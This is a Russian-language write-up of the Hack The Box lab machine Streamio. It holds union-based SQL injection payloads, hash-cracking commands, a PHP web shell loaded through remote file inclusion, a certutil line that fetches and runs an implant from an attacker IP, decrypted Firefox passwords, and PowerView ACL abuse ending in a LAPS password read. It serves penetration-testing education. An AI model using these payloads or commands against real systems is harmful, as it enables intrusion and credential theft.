Райтап HTB Streamio
Введение
Привет, хакеры! В этой средней машине от HTB мы будем эксплуатировать SQL-инъекции, удаленное включение файлов PHP и горизонтально перемещаться между пользователями с помощью bloodhound и браузера firefox. Я буду использовать sliver C2 для выполнения команд и управления сессиями от разных пользователей.
Разведка
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Nmap scan report for streamio (10.129.202.132)
Host is up (0.064s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-07 22:34:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2024-09-07T22:35:44+00:00; +7h00m00s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after: 2022-03-24T07:03:28
| MD5: b99a:2c8d:a0b8:b10a:eefa:be20:4abd:ecaf
|_SHA-1: 6c6a:3f5c:7536:61d5:2da6:0e66:75c0:56ce:56e4:656d
|_http-title: Not Found
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Перебор директорий watch.streamio.htb
SQLi
Используя перебор каталогов, мы нашли файл с именем search.php
Он содержит строку поиска, которая позволяет искать фильмы
Мы видим, что a' AND 1=1 -- и a' AND 1=2 -- дают разные результаты, что свидетельствует о наличии уязвимости SQLi.
Мы обнаружили sql-инъекцию union select
Далее все полезные нагрузки закодированы в URL формат
Вытаскиваем данные MSSQL
Используя следующую полезную нагрузку, мы находим имя базы данных, с которой взаимодействуем 10'+union+select+1,db_name(),2,3,4,5 -- STREAMIO.
После этого мы можем посмотреть, какие таблицы нам доступны, возможно, мы найдем креды пользователей.
10' union select 1,table_name,2,3,4,5 FROM information_schema.tables --
contents of information_schema.tables
Затем мы можем выбрать из таблицы пользователей, однако мы не знаем, какие столбцы она содержит. Мы можем попробовать угадывать, но в portswigger SQLi cheatsheet есть еще один полезный запрос, который мы можем использовать. SELECT * FROM information_schema.columns WHERE table_name = 'users'
Но поскольку у нас уязвимость типа union select, мы не можем просто выбирать данные, поэтому мы используем тот же трюк, что и в предыдущем запросе.
Мы получили имена столбцов, теперь, чтобы извлечь данные, нам нужно использовать конкатенацию строк. Мы видим, что поскольку число 2 также печатается с запросом, (Отмечено зелеными стрелками), то, возможно, мы могли бы использовать второй столбец. Однако когда мы пытаемся заменить «2» строкой, запрос не возвращается, а это значит, что тип данных второго столбца в исходном запросе не является строкой.
Синтаксис объединения строк в шпаргалке portswigger мне не подошел, поэтому я использовал функцию MSSQL concat.
10'+union+select+1,CONCAT(username,+'%3a',+password),2,3,4,5+FROM+users+--
В ответе приходит куча паролей и хэшей, поэтому я скачаю страницу и выведу их в формате grep
Мы можем сказать, что это похожи на md5-хэши, но если вы сомневаетесь, используйте hashid из kali.
Теперь брутим их с помощью hashcat : hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --username -o db_hashes_recovered.txt
Затем я убрал сам хэш и оставил только логины и пароли с помощью awk, чтобы проверить эти учетные данные на streamio.htb/login.php
awk -F ":" '{print $1 ":" $3}' user_pass.txt
Мы можем использовать hydra, чтобы проверить, сможем ли мы за логиниться.
Эксплуатируем админ панель
После успешного логина на streamio.htb, мы получаем доступ к странице /admin, ранее недоступной для нас.
Давайте попробуем перебрать каталоги.
Мы видим, что параметр в url, похоже, указывает на страницы, поскольку он меняется всякий раз, когда мы нажимаем на другой раздел.
Мы можем по фаззить этот параметр чтобы найти другие страницы
То, что мы еще не видели, - это страница отладки (debug), давайте посмотрим на это.
Если мы передадим в параметр дебаг, значение master.php, страницу которую мы нашли ранее на этапе разведки, то увидим страницу, которая ранее была нам недоступна, поскольку ее можно было только инклюдить. Похоже, что она содержит код для всех остальных вкладок.
Если открыть страницу в HTML виде мы можем найти интересную форму, которая не отображается как вкладка, она содержит параметр ‘include’ :
Это означает, что если мы сделаем post-запрос к странице debug с параметром include, мы сможем включить произвольные файлы, а если доступен удалённый инклюд файлов, мы сможем загрузить веб шелл PHP.
О чудо, сервер инклюдит удалённые файлы, давайте организуем шелл.
Удалённое выполнение команд
Webshell content:
1
2
3
4
5
6
if(isset($_POST['cmd']))
{
system($_POST['cmd']);
}
Так как мы не загружаем веб шелл, а только инклюдим, нам нужно будет это делать с каждым запросом.
Давайте запустим полезную нагрузку sliver,
полезная нагрузка
В реальном ред-тиминге, пожалуйста, никогда не загружайте не обфусцированный sliver c2 shell на систему, вы будете замечены EDR или чем-либо еще, немедленно.
1
2
3
certutil.exe -f -split -urlcache http://10.10.14.117/rs.exe && .\rs.exe
Обнаружение учётных записей db_user и db_admin
Найдены по адресу: C:\inetpub\streamio.htb\admin\index.php в исходном коде страницы админ панели.
Креды для db_user нам не интересны, у него меньше привилегий чем у администратора.
Посмотрим на БД MSSQL
Если мы запустим netstat -ano, то увидим список процессов на портах, мы видим порт для MSSQL, поэтому мы прокинем порт от нашей машины на хост который атакуем, чтобы заглянуть внутрь.
В БД я нашёл хэш nikk37, пользователь с таким же именем существует и в домене который мы атакуем.
Давайте сбрутим его с помощью hashcat
1
hashcat -m 0 -a 0 nikk37.hash --username -o nikk37.recovered /usr/share/wordlists/rockyou.txt
Повышение привилегий
Нам повезло, у nikk37 есть доступ через winrm.
Сохранённые учётные данные в Firefox
Когда мы запускаем winPEAS, то получаем интересное сообщение о том, что найдены сохранённые креды в firefox. Мы можем скачать их и расшифровать локально, посмотрим, есть ли в них что-нибудь интересное.
Расшифровать данные из firefox можно с помощью утилиты firefox_decrypt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Website: https://slack.streamio.htb
Username: 'admin'
Password: 'JDg0dd1s@d0p3cr3@t0r'
Website: https://slack.streamio.htb
Username: 'nikk37'
Password: 'n1kk1sd0p3t00:)'
Website: https://slack.streamio.htb
Username: 'yoshihide'
Password: 'paddpadd@12'
Website: https://slack.streamio.htb
Username: 'JDgodd'
Password: 'password@12'
Мы можем попробовать эти пароли для всех пользователей что нам знакомы, возможно что-то подойдёт.
Смотрим на пользователя JDgodd
Найденные данные позволили нам получить доступ к ‘JDgodd’, к сожалению, у него нет прав удаленного доступа, поэтому нам придется использовать runas или powershell, чтобы воспользоваться им.
Вы можете найти права пользователя, группы и т.д. различными способами, но я просто заглянул в данные bloodhound, которые я собрал ранее.
Путь от JDgodd к Administrator
Номера в этом списке соответствуют тем же номерам на схеме.
- Привилегия write owner означает, что JDgodd может изменить владельца группы ‘CORE STAFF’, если мы сделаем владельцем пользователя, которого мы контролируем, мы сможем добавлять пользователей в эту группу.
- Привилегия ReadLAPSPassword для группы CORE STAFF означает, что вы можете прочитать из LAPS пароль учетной записи компьютера (т.е. пароль локального администратора компьютера).
Выполняем атаку
Делаем JDgodd владельцем группы
Создаём объект кредов для JDgodd
1
2
3
$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPassword)
Добавляем nikk37 to ‘CORE STAFF’
1
2
3
4
5
6
7
8
#set the owner of CORE STAFF to be JDgodd
Set-DomainObjectOwner -Identity 'CORE STAFF' -OwnerIdentity 'JDgodd' -Credential $Cred
#Give all rights on CORE STAFF to JDgodd (to allow us to write members)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "CORE STAFF" -Rights All -PrincipalIdentity JDgodd
#Add nikk37 to the group core staff
Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'nikk37' -Credential $Cred
После этого nikk37 сможет прочитать пароль учетной записи локального администратора из LAPS. Мы можем сделать это с помощью netexec.
Мы получаем пароль Администратора и логинимся через winrm
Запавнено.
Удачного взлома друзья! (Не используйте знания во вред, только там где вам разрешил владелец ресурса.)
































